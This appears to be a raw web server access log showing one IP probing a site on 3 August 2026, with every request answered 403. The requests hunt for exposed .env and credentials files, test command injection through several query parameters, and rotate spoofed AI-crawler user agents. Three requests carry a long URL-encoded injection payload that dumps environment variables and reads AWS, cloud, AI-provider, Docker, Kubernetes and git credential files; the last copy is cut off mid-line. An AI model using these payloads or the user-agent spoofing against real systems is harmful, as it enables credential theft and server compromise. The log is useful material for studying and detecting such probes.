35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /database/.env HTTP/2.0" 403 10853 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 12 **0/12722**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /src/.env.production HTTP/2.0" 403 10859 "-" "TLM-Audit-Scanner/1.0" 15 **0/15384**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /server/.env.local HTTP/2.0" 403 10857 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 11 **0/11376**
35.234.173.128 - - [03/Aug/2026:19:58:01 -0700] "GET /credentials.csv HTTP/2.0" 403 10855 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14 **0/14923**
35.234.173.128 - - [03/Aug/2026:19:58:05 -0700] "GET /?exec=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10869 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 12 **0/12197**
35.234.173.128 - - [03/Aug/2026:19:58:05 -0700] "GET /?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10868 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 15 **0/15334**
35.234.173.128 - - [03/Aug/2026:19:58:05 -0700] "GET /?host=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10869 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 7 **0/7553**
35.234.173.128 - - [03/Aug/2026:19:58:05 -0700] "GET /?command=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10872 "-" "TLM-Audit-Scanner/1.0" 8 **0/8432**
35.234.173.128 - - [03/Aug/2026:19:58:08 -0700] "GET /?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17520 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 11 **0/11804**
35.234.173.128 - - [03/Aug/2026:19:58:08 -0700] "GET /?host=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17521 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 20 **0/20054**
35.234.173.128 - - [03/Aug/2026:19:58:08 -0700] "GET /?command=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%